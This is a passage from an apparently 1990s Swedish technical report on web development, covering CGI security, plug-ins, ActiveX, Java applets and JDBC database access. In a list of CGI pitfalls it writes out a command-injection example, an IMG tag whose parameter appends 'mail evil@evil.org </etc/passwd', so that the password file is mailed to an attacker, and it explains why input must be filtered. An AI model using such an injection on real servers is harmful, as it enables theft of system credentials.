d�rigenom minskar risken f�r plagiat och st�ld av id�er. Detta �r v�rdefullt om
man skyddat vill sprida sin mjukvara i vidare kretsar.

Man b�r se upp med de s�kerhetsrisker som kan uppst� om oerfarna
programmerare skapar cgi-program, speciellt om n�got interpreterande (tolkande
i motsats till kompilerande) eller semi-interpreterande spr�k (t.ex. Basic, Perl
eller ett UNIX-skal) anv�ndes. F�r att kunna h�lla uppsikt �ver vilka cgi-
program/script som finns p� WWW servern, och att de har l�mpliga
beh�righeter, l�gger man ofta dessa i ett speciellt bibliotek vanligen ben�mnt
cgi-bin eller htbin. Faran med cgi-scripten/programmen �r att de om de inte
konstrueras p� r�tt s�tt kan ge tillg�ng till kommandoraden p� operativsystem
som �r beg�vade med en s�dan.

Cgi-programmering p� Macintosh utg�r s�ledes mycket mindre fara �n om den
utf�rs p� kommandobaserade system. Tyv�rr �r de metoder (Apple Events) som
anv�nds p� Appledatorer f�r kommunikation mellan WWW-server och cgi-
program l�ngsam och sv�rprogrammerad varf�r man bara kan rekommendera
MacOS-baserade WWW-servers till WWW-system d�r cgi-script anv�nds i
begr�nsad omfattning. Ur utvecklarsynpunkt �r det p� Macintosh oftast enklare
att skriva klient-serverbaserade l�sningar i Java �n att g�ra cgi-script (manus) i
t.ex. AppleScript.

Flest och b�st verktyg f�r cgi-programmering finns i UNIX-milj�n. Ofta kan
man skapa sina cgi-script direkt i skalprogrammet genom att anropa UNIXÕ
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standardfunktioner s�som t ex stream editorn sed, rapportgeneratorn awk,
s�kfunktionerna find, grep och egrep. Har man behov av att g�ra �n mer
avancerad programmering, eller skapa plattformsoberoende l�sningar kan man
anv�nda Perl. Plattformsoberoendet hos Perl �r dock begr�nsat, t ex. m�ste man
ta h�nsyn till olika strukturer i filhierarkiernas uppl�ggning om man vill kunna
flytta mellan, l�t oss s�ga UNIX och Windows NT milj�er.

Dessutom m�ste man beakta eventuella s�kerhetsluckor i de system som man
avser att den f�rdiga cgi-produkten ska anv�ndas i. Som n�mnts ovan �r den
vanligaste s�kerhetsluckan att man ger anv�ndaren tillg�ng till kommandoraden.
H�r f�ljer n�gra skr�ckexempel:

1 Perltolken eller n�gon annan tolk �r placerad i biblioteket cgi-bin med
p�f�ljd att man som anv�ndare utifr�n kan exekvera godtyckliga program
med samma beh�righet som WWW servern. Denna s�kerhetsl�cka �r
klart vanligare �n vad den borde vara och kan utifr�n detekteras med
enkla medel. �n allvarligare �r det att ett av de mest annonserade
programmen (MS Frontpage), f�r editering av WWW sidor med
tillh�rande cgi-program f�r direkt nedladdning till en WWW server, vid
installation l�gger Perltolken h�r p� vissa system. En del s�kerhetsh�l i
Windows NT g�r att man b�r placera alla filer som skall n�s fr�n WWW
servern p� en egen h�rddisk partition f�r att minska skadeverkningarna
om n�gon skulle bryta sig in.

2. <IMG src=Òhttp://www.cucusnest.com/cgi-bin/sloppyprogram?A;mail
evil@evil.org</etc/passwd Ò>. En beg�ran av ovanst�ende bild fr�n en
WWW-klient (IMG-kommandot) kommer att inneb�ra att WWW-
serverns l�senordsfil mailas (postas) till evil@evil.org om cgi-
programmet ÒsloppyprogramÒ tolkar inparametrarna i ett UNIX-skal
(eftersom semikolonet i skalet markerar skiljetecken mellan
kommandon). N�r det f�rsta parametern A exekverats och genererat en
bild att skicka tillbaka till webl�saren, kommer kommandot mail
evil@evil.org </etc/passwd att skicka serverns l�senordsfil till
evil@evil.org. F�r att f�rhindra detta m�ste programmet sloppyprogram
filtrera bort semikolonet samt kontrollera vilka inparametrar som givits
innan det l�ter skalet tolka input. Detta exempel visar vikten av att
s�kerhetsgranska alla cgi-script innan man de l�ggs ut p� servern. Cgi-
scripten b�r vara utformade s� att enbart alla t�nkbara indatasekvenser
f�ngas av scriptet, inte bara de som beh�vs f�r att f� �nskad
funktionalitet hos scriptet

3. M�nga WWW-servers t.ex. Netscape anv�nder WWW-gr�nssnitt f�r sin
administration. Administrationen sker d� i de flesta fall genom en speciell
administrations-WWW-server som lyssnar p� n�gon annan port �n
standardporten (80) p� servermaskinen. Administrationsservern k�r
vanligen som root (root �r systemadministrat�rens anv�ndarnamn p�
UNIX-system). I m�nga fall till�ter standardinst�llningarna att man kan
administrera servern fr�n vilken maskin som helst i n�tet. Detta b�r man
under alla omst�ndigheter konfigurera om s� att detta endast kan g�ras
fr�n s�kra maskiner. Detta f�r att minsta s�kerhetslucka som n�gon
uppt�cker i administrationsmjukvaran l�tt kan leda till att en inkr�ktare
kan bli systemadministrat�r.
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9 . 5 . 2 Plug-in moduler

F�r att ge Webl�saren Netscape ny funktionalitet t.ex. m�jlighet att k�ra
program skrivna i TCL/Tk (Ousterhout J, 1994) eller MacroMind Director (ett
vanligt program f�r Multimediapresentationer) inuti webl�saren kan man skriva
till�ggsmoduler som Netscape kan anv�nda. D� dessa moduler m�ste installeras
separat p� varje klientmaskin ger de l�tt upphov till en support/underh�llsf�lla.
Modulerna �r plattformsberoende vilket g�r att man begr�nsar sin publik om
modulen inte �r tillg�nglig f�r samtliga f�rekommande plattformar. Den �r
troligen dock inte detta p.g.a. de enorma utvecklingskostnaderna f�r att utveckla
och avlusa plug-inmodulen i olika milj�er.

Ibland r�cker det med att utveckla en plug-in f�r varje OS/h�rdvarukombination.
Om modulen skall anv�ndas v�rlden �ver i olika spr�komr�den kan man beh�va
�vers�tta den till flera spr�k t.ex. f�r att ett datumformat varierar eller f�r att
anv�ndaren ska kunna f� r�tt text i sina menyer.

Det finns inte n�gon specificerad s�kerhetsmodell f�r vad som �r till�tet f�r
plug-in-moduler att g�ra. Det skulle vara fullt m�jligt att skriva illasinnade
moduler som l�ser inneh�llet p� den lokala disken och skickar iv�g det �ver
n�tet till n�gon obeh�rig l�sare som t.ex. en av ditt f�retags v�rsta konkurrenter.
Av dessa anledningar �r det b�st att l�mna plug-in modulerna �t sitt �de och i
st�llet satsa p� Java-baserade l�sningar �tminstone om man anv�nder externt
utvecklade moduler .

Naturligtvis kan plug-in moduler som utvecklas internt inom f�retaget eller d�r
man p� annat s�tt har kontroll �ver k�llkoden anv�ndas. Om modulerna anv�nds
internt p� det egna intran�tet (Intranet) kan de naturligtvis vara anv�ndbara
eftersom man d�r f�rmodligen har ett begr�nsat antal plattformar att utveckla
f�r.

9 . 5 . 3 Active X

Active X �r f�retaget Microsofts egna s�tt att ladda in aktivt inneh�ll i websidor.
S�kerheten f�r Active X komponenter l�mnar dock en del �vrigt att �nska.
S�kerhetsmodellen baserar sig p� att tillverkaren av Active X komponenten, om
den ej anses farlig, av Microsoft ges en digital signatur. Komponenter signerade
med denna signatur kan inte f�r�ndras under transporten utan att det
uppenbaras. V�l nedladdad kan de dock till skillnad fr�n Java Applets (objects
skrivna i spr�ket Java) husera fritt i m�ldatorn. Den springande punkten blir
s�lunda; vad �r en ofarlig komponent? Enligt decembernumret 1996 av
JavaWorld h�lls en presentation i New York d�r  en komponent f�revisades
som kopierade inneh�llet p� en dators h�rdisk till en WWW server. Detta trots
att den hade certifierats av Microsoft Inc..

9 . 5 . 4 . Java

Java �r egentligen ett koncept best�ende av tre ting.

1. en virtuell dator (JVM, Java Virtual Machine) som fram till helt nyligen
bara existerat som mjukvara som k�rts p� andra plattformar men som nu
�ven kan f�s i kisel (h�rdvara).
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2. ett programmeringsspr�k,
3. i grunden ett eget operativsystem JavaOS som kommer att anv�ndas i

framtidens Network Computers NC

1. JAVA VIRTUAL MACHINE, JVM

I de flesta fall �r det dock troligt att det vanligaste kommer att bli att man
exekverar Javakod i just en virtuell maskin p� andra system under den n�rmaste
framtiden. Kiselbaserade Java processorer kommer fr�mst att sitta i
klientmaskinerna i NC system (Network Computer, en liten dator utan h�rddisk
som f�rst�r Java, att koppla in direkt p� n�tet). Under �verg�ngsfasen mellan
PC och NC systemen kommer vi att k�ra v�ra Java-applikationer i Java runtime
milj�er som utvecklats till s� gott som samtliga p� marknaden f�rekommande
operativsystem, s�v�l f�r stordatorer som vanliga bordsdatorer. P� sikt kan vi
r�kna med att Java kommer att bli helt integrerat i operativsystemen. Redan idag
har detta skett i Linux, ett freeware UNIX operativsystem skrivet av Linus
Thorwaldssen.

Det faktum att Java program exekveras p� en virtuell maskin har b�de f�r och
nackdelar. F�rdelen �r att man kan skriva plattformsoberoende kod, vilket
minskar utvecklingskostnaderna och ger en st�rre frihet vid byte av
systemkomponenter. Plattformsoberoendet medf�r �ven att
systemadministrationen blir enklare. Man beh�ver inte h�lla reda p� olika
versioner av samma program och det blir enklare att skapa automatiska
uppdateringsprocesser som arbetar �ver ett n�tverk. Exempel p� s�dana system
�r Castanet fr�n Marimba software (   http://www.marimba.com    ), vilket f�r
n�rvarande fungerar f�r Windows NT och UNIX.

I och med att Java �r en virtuell maskin �r det m�jligt att skriva kompilatorer
som konverterar �ldre kod skriven i andra programmeringsspr�k till Java byte-
kod som kan exekveras �verallt med �tf�ljande l�gre utvecklingskostnad per
s�ld licens. Ett Java program �vers�ttes (kompileras) alltid till s� kallad byte kod
(8 bits tecken) och inte maskinkod f�re den s�ndes till den virtuella maskinen.
Den virtuella maskinen kan �ven utg�ra ett skydd mot o�nskade operationer.
Det �r till exempel m�jligt att l�gga in funktioner som begr�nsar r�ttigheterna f�r
program som laddats ned fr�n n�gon op�litlig k�lla p� n�tet s� att de inte kan
g�ra obehagliga ting s�som att t.ex. olovandes radera h�rdiskar eller �ndra i
viktiga data.

Exempel p� detta �r Netscape Navigator som f�rhindrar Applets att skriva och
l�sa p� lokal disk p� klienten och fr�n att kontakta andra servers p� n�tet �n fr�n
vilken appleten ursprungligen h�mtades.

Nackdelen med JVM �r att det tar tid att �vers�tta byte koden f�r java
processorn till kod som den verkliga processorn kan exekvera. F�r att r�da bot
p� detta har man b�rjat anv�nda s� kallad Just In Time, JIT, kompilering som
inneb�r att koden �verf�rs till lokalt exekverbar kod i samma �gonblick den
laddas ned. Med JIT blir exekveringstiderna obetydligt l�ngre �n om det hade
varit ett vanligt program skrivet i l�t oss s�ga spr�ket C++. Problemet kommer
dock att vara helt obefintligt p� maskiner som har Kiselbaserade javaprocessor.
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2. PROGRAMMERINGSSPR�KET JAVA

Spr�ket p�minner syntaxm�ssigt om C++ men har en mycket starkare
objektorientering. F�r att g�ra det enklare har man tagit bort en del fallgropar
som multipla arv, pekare och operator overloading. I geng�ld har man lagt till
automatisk garbage collection vilket g�r att programmeraren inte beh�ver h�lla
reda p� vilka resurser i form av minne som anv�nds och att avallokera dem n�r
de inte l�ngre beh�vs. H�r sker detta automatiskt vilket minskar risken f�r
minnesl�ckor eller f�r att resurser l�mnas tillbaks till systemet i f�rtid.

Som kompensation f�r avsaknaden av multipla arv har man inf�rt en m�jlighet
att subtypa klasser utan att subklassa dem. Metoden att g�ra detta ben�mns java
interface och inneb�r i praktiken att man �rver signaturer p� konstruktorer samt
abstrakta metoder och data. Detta inneb�r att koden m�ste implementeras separat
i respektive klass som utger sig f�r att anv�nda ett visst interface. En
konstruktor �r den metod som initialiserar ett objekt av en klass. (Gosling &
Arnold, 1996).

Exempel:
L�t oss g�ra en multitr�dad applet. (Multithreading, tr�dning, st�r f�r att
flera processer kan k�ras parallellt inom en applikation). F�r att g�ra detta
kan man ju tycka att man skulle beh�va multipla arv eftersom klassen
Applet hanterar det som Applets normalt g�r, som t.ex. att rita p� sk�rmen,
och klassen Thread hanterar tr�dar. S�lunda skulle vi vilja �rva fr�n b�de
Applet och Thread. Detta g�r nu inte. Det finns d�remot ett interface
Runnable vilket �rver fr�n Thread som vi skulle kunna anv�nda.

I Runnable finns det en abstract metod run definierad. Metoden run m�ste
s�lunda implementeras i v�r applet f�r att vi ska kunna s�ga att den �r
Runnable.

import java.applet.*;
import java.awt.*;

MyApplet extends Applet implements Runnable{
private Thread tr�den;
/** overide metoden init i Applet f�r att 
initiera data */

public void init(){
resize(400,500);
tr�den= new Thread(this);

}

public void start(){
if (tr�den != null)

tr�den.start();
}

public void stop(){
if (tr�den != null)

tr�den.stop();
tr�den=null;

}
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public void paint(Graphics g){
// rita n�got applet area nÉ.

          // Denna metod ers�tter den helt
          // overksamma dito
          // som �r definierad i Applet
}

public void run(){
if (tr�den !=null)

//Ge andra tr�dar med samma
//prioritet en chans att k�ra
//under 100 millisekunder
tr�den.sleep(100);

}

}

Avsaknaden av pekare i Java kan f�r C++ programmeraren till en b�rjan k�nnas
som ett handikapp men med container-klasser som t.ex. Vektor kan det mesta
utf�ras smidigt �nd�. Vinsten att inte ha pekare m�rks p� tv� s�tt. Dels �r det
betydligt mindre risk att g�ra fel och f� minnesreferenser ut i det bl�, fel som �r
mycket sv�ruppt�ckta och s�kerligen st�r f�r 90% av fels�kningen i ett C++
projekt. Dels �r det inte m�jligt att skriva kod som skriver p� godtyckliga st�llen
i minnet, med de s�kerhetsproblem det kan leda till. Naturligtvis anv�nder Java
sig av pekare internt t.ex. f�r att �verf�ra parameterv�rden till funktioner men de
�r ej �tkomliga f�r programmeraren.

9 . 6 JAVA APPLETS

En JavaApplet �r ett frist�ende object skrivet i Java som laddas ner till WWW-klienten
fr�n WWW-servern. Appleten exekveras inuti WWW-klienten i en skyddad milj� d�r
den inte kan st�lla till skada genom att t.ex. skriva eller l�sa p� lokala filer i WWW-
klienten. En servlet �r som en applet men laddas i servern ist�llet. Denna teknik kan
anv�ndas f�r att ge effektivare resursutnyttjande, f�renklat underh�ll och �kad
skalbarhet i klient-serversystemen. Se �ven "The Java Servlet API",
http://jeeves.javasoft.com/products/java-server/webserver/beta1.0/doc/servlets/api.html  

9 . 7 ATT ANSLUTA TILL DATABASER

Utvecklingen har sedan b�rjan av 80 talet gjort det m�jligt att bygga allt mera
distribuerade databastill�mpningar. Allt i fr�n att klienter ansluter direkt till
databasen eller att klienterna ansluter via en server till en eller flera databaser.
Man brukar ben�mna detta tv�lagers- respektive trelagers-modellen.



SVENSK BYGGFORSKNING P� INTERNET, SWEBU 57

Databas server

Teckenbaserat gr�nssnitt

Till�mpningsprogram

Poster i databasen

Klient med
Grafiskt gr�nssnitt

Till�mpningsprogra
m

Databashanterare

Till�mpnings server

Klient med
Grafiskt gr�nssnitt

1976 1986 1996

Figur 27 Klient-server modellens utvecklingsfaser.

9 . 7 . 1 Tv�lagermodellen (Two Tier Model)

Vi har h�r en databasklient och en server d�r databasmotorn ligger. Klienten
kommunicerar direkt med databasmotorn.

F�rdelen �r att systemet blir relativt enkelt och �versk�dligt. Nackdelen �r att om
databasmotorn bytes m�ste man �ven uppdatera klientmjukvaran p� samtliga
maskiner. Dels beroende p� att de flesta databastillverkare har utvidgat SQL p�
olika s�tt, dels p� grund av att de APIer (Applikation Program Interface) som
anv�nds f�r kommunikation varierar fr�n tillverkare till tillverkare.

Om klientmjukvaran �r Java Applets �r detta i och f�r sig inget administrativt
problem eftersom Appleten automatiskt h�mtas �ver n�tet d� den beh�vs. Dock
m�ste Appleten skrivas om s� att den blir anpassad till den nya databasen. Det �r
dock sv�rt att p� ett enkelt s�tt utnyttja flera olika databasmotorer till en och
samma klient. F�r att Java Applets ska fungera med JDBC (kan utl�sas som
Java Database Connectivity men �r egentligen ett varum�rke) m�ste:

- WWW servern varifr�n Appleten h�mtas och databasservern k�ra p�
samma maskin eftersom de flesta WWW klienter ej till�ter Applets att
�ppna n�tverksf�rbindelser till andra maskiner �n varifr�n de kom.

- WWW klienten m�ste ha tillg�ng till JDBC klasser. Detta �r standard i de
WWW klienter som baserar sig p� JDK 1.1s (Java Developer Kit fr�n
Sun Microsystems) klassbibliotek t.ex. Hotjava 1.0 och Netscape 4.0. I
annat fall m�ste JDBC paketet lagras separat p� klientmaskinen eftersom
JDBCs DriverManager ligger i packagen java.*. Klasser som ligger i
denna till�ts ej att laddas ned fr�n n�tet.
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9 . 7 . 2 Trelagermodellen (Three Tier Model)

H�r �r det m�jligt att enkelt ansluta flera databaser. Man skapar h�r ett gr�nssnitt
genom vilket en klient (t.ex. en Applet) kan kommunicera oberoende av hur
databasen i andra �nden vill kommunicera. Mittlagret utf�r allts� en
�vers�ttarfunktion fr�n klientens fr�ge/anrops spr�k till databasens dito. Detta
mittlager k�rs l�mpligen p� samma maskin som WWW-servern. Mittlagret
kommunicerar i sin tur med databaser som kan k�ra var som helst i n�tet.

I mittlagret �r det �ven m�jligt att utifr�n en klientfr�ga g�ra s�kningar i flera
databaser och d�refter presentera det f�r klienten som om det vore resultatet fr�n
en enskild s�kning i en databas. Mittlagret d�ljer s�tillvida systemets
komplexitet f�r anv�ndaren. Det kan �ven vara f�rdelaktigt ur
s�kerhetssynpunkt till exempel d� det g�ller �tkomster till databaser bakom
brandv�ggar. Om mittlagret k�rs p� en betrodd maskin kan det vara l�ttare f�r
en systemadministrat�r att bevilja databasanrop fr�n denna enda betrodda
maskin �n fr�n samtliga klienter.

9 . 8 METODER ATT SKAPA WWW-BASERADE
DATABASGR�NSSNITT

9 . 8 . 1 Databsgr�nssnitt med CGI program

F�r inte s� l�nge sedan var detta den �nda s�ttet att komma �t en databas fr�n
WWW som vanligt i cgi-program anv�nds vanligen det semi-interpreterande
programmeringsspr�ket Perl. I den senaste objektorienterade versionen av Perl,
Perl 5 finns det en speciell klass som utvecklats f�r att hantera relationsdatabaser
som st�djer SQL.

Naturligtvis kan man �ven anv�nda kompilerad kod. Till de flesta databaser
finns det bibliotek med objektkod som man kan l�nka ihop med sin egen
kompilerade kod i t.ex. C. Cgi-program skrivna p� detta s�tt exekverar snabbare
�n ett dito i Perl men �r sv�rare att skriva. Ibland kan man dock k�pa ett s�dant
cgi-program fixt och f�rdigt att installera p� WWW-servern.

ORACLE OWA

Ett exempel p� ett s�dant finns hos ORACLE som anv�nder ett cgi-program f�r
att kommunicera med i databasen lagrade procedurer skrivna i PL/SQL, ett
programmeringsspr�k som starkt p�minner om Pascal. Spr�ket �r starkt typat
(med typdeklarerade variabler) och ORACLE kan cacha (lokalt lagra) resultaten
fr�n funktionsanrop i PL/SQL ( Oracle, 1995) (Oracles eget spr�k,
Programming Language, PL, f�r att skriva program som genererar SQL-
sekvenser) s� att svarstiderna bara blir l�nga f�r den f�rsta g�ngen funktionen
anropas.

PL/SQL �r dock inte s� stabilt som man skulle kunna �nska. Det �r m�jligt att
skriva PL/SQL-program som fullst�ndigt h�nger databasservern om
kommandona uttrycks p� ol�mpligt s�tt. Procedurerna i databasen skapar med
hj�lp av ett rikligt antal hj�lprutiner, �ven de skrivna i PL/SQL WWW-sidor
som s�nds tillbaka till WWW-l�saren via cgi-programmet.
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F�rdelen med denna l�sning �r att st�rre delen av koden och
anv�ndargr�nssnittet som m�ter anv�ndaren ligger lagrat i ORACLE databasen
och ett byte av server plattform spelar mindre roll s� l�nge den nya plattformen
kan k�ra ORACLE. Det �nda som beh�ver bytas �r cgi-programmet och
naturligtvis WWW och databasmotor mjukvaran. Men de delarna k�ps i vilket
fall som helst fr�n externa tillverkare. I det h�r fallet kan man k�pa s�v�l
webserver, cgi-program och databasmotor som ett paket fr�n ORACLE.

Webservern i det h�r paketet �r dock inte den b�sta som sett dagens ljus, om
man vill distribuera vanliga icke dynamiska HTML-sidor. Skapar man ett nytt
bibliotek p� sin WWW-servers dokumentarea m�ste man starta om WWW-
servern f�r att de skall hittas. Som v�l �r anv�nder Oracle cgi-standarden f�r att
kommunicera med databasen, detta g�r att man utan sv�righet kan byta ut
WWW-serverdelen mot t.ex. Netscape Enterprise eller Fasttrack server. B�de
Netscape och ORACLE anv�nder WWW f�r att administrera sina webservers.
Principen �r den att man startar ytterligare en WWW-server p� servermaskinen
fast man anv�nder en annan port �n standard port 80 t.ex. 8888.

N�r man ansluter till denna port blir man avkr�vd en administrat�rsl�sen och n�r
det v�l �r givet styr man hela servern med hj�lp av WWW formul�r.
Anv�ndargr�nssnittet f�r Netscapes servers �r klart b�ttre strukturerat p�
Netscapes servers �n p� ORACLE servern med bl. a tillg�ng till
sammanhangsk�nslig hj�lp som dyker upp i ett separat f�nster n�r man trycker
p� hj�lpknappen i n�got formul�r. Netscapes server har �ven st�d f�r SSL
(Secure Socket Layer f�r krypterad kommunikation mellan server och WWW
klient) vilket ORACLE saknar.

COLD FUSION

Ett annat f�rdigt cgi-system �r Cold Fusion fr�n Allaire
(http://www.allaire.com/). Till skillnad fr�n ORACLE-systemet d�r de aktiva
delarna l�g lagrade i databasen i form av lagrade procedurer skrivna i PL/SQL,
anv�nds h�r vanliga filer med ett HTML-liknande spr�k i vilket databasfr�gorna
formuleras. I DBML-filerna inkluderas �ven vanliga HTML-element. Dessa
tolkas ej av Cold Fusion utan g�r direkt ut till WWW-klienten. Detta inneb�r att
systemet blir framtidss�kert genom att nya HTML-element kan inf�ras och
anv�ndas utan att databas�tkomsten p�verkas.

Funktion:

1. Anv�ndaren beg�r information via sin WWW-klient genom att specificera
en URL som till cgi-scriptet DBML.EXE med en DBML-fil som
parameter.

2. Han f�r d� typiskt upp en WWW-sida med ett formul�r d�r han kan
formulera sin s�kfr�ga. Han fyller i fr�gan och s�nder den till WWW-
servern.

3. WWW servern startar cgi-scriptet som behandlar den angivna DBML
mallen. Behandlingen best�r i att via ODBC kontakta databasen och st�lla
de givna SQL fr�gorna och utifr�n dessa generera en dynamisk WWW
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sida. Naturligtvis kan man h�r �ven precis som i OWA (Oracle Web Agent)
anropa lagrade procedurer i databasen.

4. Den genererade sidan s�nds tillbaka till fr�gest�llaren av WWW servern.

Systemet fungerar f�r n�rvarande med Windows NT-baserade WWW-servers
och ODBC-baserade databaser. I brist p� tillg�ng till har jag ej praktiskt kunnat
testa systemet, men att d�ma av tillverkarens produktbeskrivning b�r det vara
enkelt att anv�nda d� det inte alls fordrar s� ing�ende programmeringskunskaper
som t.ex. OWA d�r all anv�ndardefinierad funktionalitet ligger i databasen som
lagrade procedurer.

9 . 8 . 2 Dynamisk l�nkning

Moderna HTTP-servers kan idag expanderas med extern kod som l�nkas in till
sj�lva servermjukvaran med dynamisk l�nkning. Exempel p� denna teknik �r
Netscape NSAPI (Netscape Server Application Programming Interface) och
Microsoft ISAPI (Internet Server Application Programming Interface).

Detta inneb�r att man sparar tid vid anrop i och med att man inte beh�ver starta
en subprocess f�r cgi-programmet som i sin tur kontaktar databasen. Ofta
arbetar man d� med en pool av i f�rv�g �ppnade databasanslutningar f�r att
ytterligare �ka snabbheten. Nackdelarna att det ofta fordrar betydande insatser
av programmeraren som m�ste s�tta sig in i s�v�l den anv�nda WWW serverns
som databasens API. Dessa API ser helt olika ut beroende p� vem som tillverkat
WWW servern eller databasen, varf�r det g�r det sv�rt att enkelt byta ut n�gon
del i systemet om det skulle visa sig att den inte h�ller m�ttet om t.ex.
anv�ndningen skulle bli st�rre �n f�rv�ntat.

En annan nackdel �r att eventuella programmeringsfel i databaskopplingen f�r
hela WWW-servern att krascha och d�rmed om�jligg�ra inte bara tillg�ng till
automatiskt genererade dokument fr�n databasen utan �ven statiskt lagrade
HTML- dokument. Ytterligare ett problem att de kodbibliotek som finns till
dagens databaser ej �r skrivna f�r att anv�ndas i multitr�dade milj�er (n�stan alla
WWW-servers anv�nder multitr�dning) varf�r man som programmerare m�ste
vara extra observant p� bieffekter vid multipla anrop eller skapa egna rutiner f�r
l�sning av resurser. Multithreading, tr�dning, st�r f�r att flera processer kan
k�ras samtidigt i en applikation).

9 . 8 . 3 Fast CGI

P� senare tid har det uppkommit en ny teknik f�r att �ka snabbheten p� cgi-
anrop, genom att l�ta cgi-programmet k�ra kontinuerligt . Metoden anv�ndes
f�rst p� Macintosh under namnet ACGI (Asynchronous CGI) och har nu spritt
sig till UNIX-v�rlden under namnet Fast CGI.
Man kan h�rigenom undvika de stabilitetsproblem som kan bli f�ljden av
dynamisk l�nkning av databasfunktioner till WWW-servern. Som exempel p�
WWW-server som st�djer denna metod �r Apache, den i dagsl�get i s�rklass
vanligaste http servern.
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9 . 8 . 4 Serverspecifika system

LIVEWIRE

Funktionaliteten byggs h�r upp med hj�lp av JavaScript som till skillnad fr�n
den JavaScript som normalt sett exekverar i Netscapes klienter h�r k�rs p�
servern, samt att scripten �r kompilerade f�r att �ka systemets snabbhet.
LiveWire kan anv�nda ett flertal databaser som t.ex. ORACLE , Informix och
databaser med ODBC gr�nssnitt.

AOL SERVER

Programmet hette tidigare GNN-server och innan dess ??? . Har kopplingar till
databasen Illustra som efter en tynande tillvaro k�ptes upp av Informix i b�rjan
av 1996 och utg�r ett l�ttviktskomplement till Informix Universal-server.
Illlustra �r en SQL-baserad databas med utvidgningar f�r att g�ra index �ver
fritext. t ex HTML-dokument p� en WWW-server. F�rutom att s�ka i fritext
kan man st�lla mer ordin�ra SQL fr�gor till databasen med hj�lp av ett TCL-
baserat interface i AOL server. AOL server har dessutom f�rdelen att det
m�jligg�r direkt editering av WWW-sidor inklusive funktioner som att ta bort,
skapa bibliotek av WWW-sidor direkt p� WWW-servern med hj�lp av WWW-
editorn AOL press.

ISAPI L�SNINGAR

Microsofts Webservrar IIS (Internet Information Server) och PWS(Personal
Web Server) kan med hj�lp av dynamisk l�nkning av en programmodul skriven
f�r ISAPI (Internet Server Application Programming Interface) enkelt anslutas
till databaser via ODBC (Open Database Connectivity) protokollet.  Rent
praktiskt liknar l�sningen COLD -Fusion. Man definierar en ODBC -
databask�lla och skriver en template fil i vilken man talar om vilken databas som
skall anv�ndas, vilket template fil som skall anv�ndas f�r att visa utdata samt
specificerar SQL fr�gan. I Microsoft Office97 professional finns st�d f�r att
direkt skapa s�v�l templates som f�r att designa relationsdatabaser  Detta g�r det
mycket enkelt och snabbt att skapa databasdrivna www sidor. Nackdelen �r
dock att det blir platformsberoende.

9 . 8 . 5 JDBC

JDBC �r ett Java API mot relationsdatabaser som skapats av JavaSoft med
ODBC (Open Database Connectivity) som mall. Med JDBC blir det m�jligt att
s�nda SQL uttryck (Structured Query Language) till en databas fr�n ett Java
program f�r att s�ka, uppdatera eller �ndra i databasen. Om databasen st�djer
lagrade procedurer kan �ven s�dan k�ras fr�n java milj�n.
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Java Till�mpning

JDBC DriverManager
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DriverManager

ODBC Driver
f�r ORACLE
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N�tverksprotokoll

 ORACLE
DBMS

�versikt �ver JDBC.  De gr� markerade delarna av systemet �r helt skrivna
i Java. JDBC-Net bryggan finns �nnu ej att tillg� men kommer att utveckla
av JavaSoft. De flesta databaser fordrar idag n�gon form av ODBC
mellanskikt., men helt Javabaserade Drivers finns till bl.a ORACLE, MS-
SQL-Server och mSQL.

Figur 28 �versikt �ver JDBC, vilket kan �vers�ttas till Java Database Connectivity.

F�r att kunna dra nytta av JDBC skall det helst finnas en JDBC-drivrutin till den
databasmotor man vill anv�nda. Det �r dock �ven m�jligt att anv�nda ODBC
drivrutiner tack vare en JDBC-ODBC brygga som utvecklats av JavaSoft i
samarbete med Intersolv (   http://www.intersolv.com/  ).

F�r att anv�nda en relationsdatabas med JDBC fordras

1. att JDBC-paketet m�ste vara installerat. (Fr�n och med JDK 1.1 kommer
JDBC att ing� i JDK dvs. Java Development Kit fr�n Sun Microsystems,
Inc.)

2. att det �ppnas en f�rbindelse till databasen,
3. att det skapas SQL-satser f�r att instruera databasen vad den skall g�ra,
4. att SQL satserna exekveras,
5. att resultatet behandlas,
6. att databasf�rbindelsen st�ngs,

JDBC specifikationen inneh�ller ett dussintal klasser . Bland dessa utg�r
klassen DriverManager huvudkomponenten. N�r man ansluter till en databas
h�ller DriverManagern reda p� vilka JDBC-drivers som finns. Detta kan den
g�ra eftersom n�r en driver laddas in ska den registrera sig hos
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DriverManagern. P� detta s�tt kan man g�ra ett enhetligt gr�nssnitt mot olika
databaser.

N�r man ska ansluta till en viss databas ger man DriverManagern en URL till
databasen samt eventuella anv�ndaridentiteter och l�senord. DriverManagern
utr�ner sedan vilka av de existerande JDBC-drivers som skall anv�ndas f�r den
i URLÕen angivna databasen. N�r denna v�l har identifierats l�mnar
DriverManagern �ver kontrollen till JDBS-drivern. Detta inneb�r att man
minimerar overhead men ocks� att varje JDBC driver m�ste implementera
klasserna -Statement som anv�nds f�r att st�lla SQL fr�gor och klassen
ResultSet som anv�nds f�r att hantera resultaten som SQL fr�gorna ger samt
b�da klassernas felhantering.

De URLÕer som anv�nds f�r att specificera databasen har syntaxen:

<protokollnamn>:<subprotokollnamn>:<subnamn>

Protokollnamnet �r alltid jdbc. Subprotokollnamnet anger vilken typ av databas-
anslutnings mekanism (Driver) som skall anv�ndas. Sista delen av URL
syntaxen, subnamnet, beror av vilket subprotokoll som anv�nds men pekar
vanligen ut den dator d�r databasmotorn finns och vad databasen heter.

Ett subprotokoll som kommer att vara vanligt till dess att det hunnit v�xa upp en
flora av JDBC drivers till de p� marknaden f�rekommande databasmotorerna �r
ODBC. Man skulle d� kunna f� en URL i stil med:

jdbc:odbc:inventory

URLÕen anv�nder en JDBC-ODBC brygga som m�jligg�r att man kan anv�nda
databasmotorer till vilka det finns en ODBC driver men som det �nnu inte hunnit
utvecklas n�gon jdbc driver till. Det finns dock rena JDBC drivers till de flesta
st�rre databaser . Exempel p� s�dana produkter �r Weblogics Kona som
inneh�ller JDBC-drivers till bland annat ORACLE och Microsofts MS-SQL
server.

En URL till en databas med en �kta jdbc driver kan till exempel se ut s� h�r:

jdbc:imsql:delphi.kstr.lth.se/adressregister

Denna URL h�nvisar till databasen ÒadressregisterÒ p� en mSQL-databas som
k�r p� datorn delphi.kstr.lth.se via JDBC subprotokollet imsql som i sin tur
fordrar datornamn och databasnamn som parametrar.

9 . 8 . 6 Anslutningen

N�r man ansluter till en databas returnerar DriverManagern ett Connection-
objekt. N�r detta v�l �r skapat �r det fritt fram att st�lla databasfr�gor med hj�lp
av Statement objekt som kan inneh�lla en s�kfr�ga eller n�gon annan beg�ran,
t.ex. att radera poster till databasmotorn. Connection objekten har �ven en annan
viktig funktion, n�mligen att hantera transaktioner. Dessa kan hanteras p� tv�
s�tt av jdbc:
